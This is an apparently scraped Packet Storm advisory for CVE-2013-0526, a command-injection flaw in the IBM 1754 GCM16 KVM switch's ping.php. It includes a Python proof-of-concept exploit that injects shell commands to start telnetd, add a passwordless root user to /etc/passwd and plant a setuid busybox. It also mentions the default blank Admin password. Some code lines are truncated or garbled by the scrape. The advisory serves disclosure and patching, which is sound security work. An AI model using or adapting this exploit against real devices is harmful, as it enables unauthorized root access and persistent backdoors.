IBM 1754 GCM16 Command Execution

Type packetstorm
Reporter Alejandro Alvarez Bravo
Modified 2013-08-16T00:00:00


                                            `I. Product description  
The IBM 1754 GCM family provides KVM over IP and serial console management  
technology in a single appliance.  
II. Vulnerability information  
Impact: Command execution  
Remotely exploitable: yes  
CVE: 2013-0526  
CVS Score: 8.5  
III. Vulnerability details  
GCM16 (v. and older versions of this KVM switch contain a flaw  
that allows a remote authenticated user to execute unauthorized commands as  
This flaw exist because webapp variables are not sanitised. In this case,  
parameters $count and $size from ping.php allow to create a special crafted  
URL to inject text to an exec() so it can be arbitrary used to execute any  
command on the KVM embedded linux.  
IV. Proof of concept  
Following is a simple exploit that lead to root access to the device,  
opening a telnet and creating a new user with root permission without  
password (sessid and target are hardcoded so it must be changed to work):  
This exploit for Avocent KVM switch allows to gain root access to embedded  
device. SessionId (avctSessionId) is neccesary for this to work, so you  
need a valid user. Default user is "Admin" with blank password.  
After running exploit, connect using telnet to device with user target  
(pass: target) then do "/tmp/su - superb" to gain root  
from StringIO import StringIO  
import pycurl  
import re  
sessid = "XXXXXXXXX"  
target = "https://ip.of.kvm/ping.php" <>  
command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd  
; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to  
device using telnet with user target and pass target, then \"/tmp/su -  
storage = StringIO()  
c = pycurl.Curl()  
c.setopt(c.URL, target)  
c.setopt(c.POSTFIELDS, 'address=  
; echo *E* ; ' + command + ' ; echo *E*')  
c.setopt(c.COOKIE,'avctSessionId=' + sessid)  
print ""  
content = storage.getvalue()  
x1 ="\*E\*(.*)\*E\*",content)  
print"<br />","\n")  
V. Vendor Response  
IBM released a new firmware that corrects this vulnerability (  
VI. Timeline  
2013-06-12 - Vendor (IBM PSIRT) notified.  
2013-06-12 - Vendor assigns internal ID.  
2013-07-02 - Vendor confirms the vulnerability.  
2013-08-16 - Vulnerability disclosed and patch released.  
VII. External information  
Information about this vulnerability (in spanish):  
IBM Security Bulletin:  
Alejandro Alvarez Bravo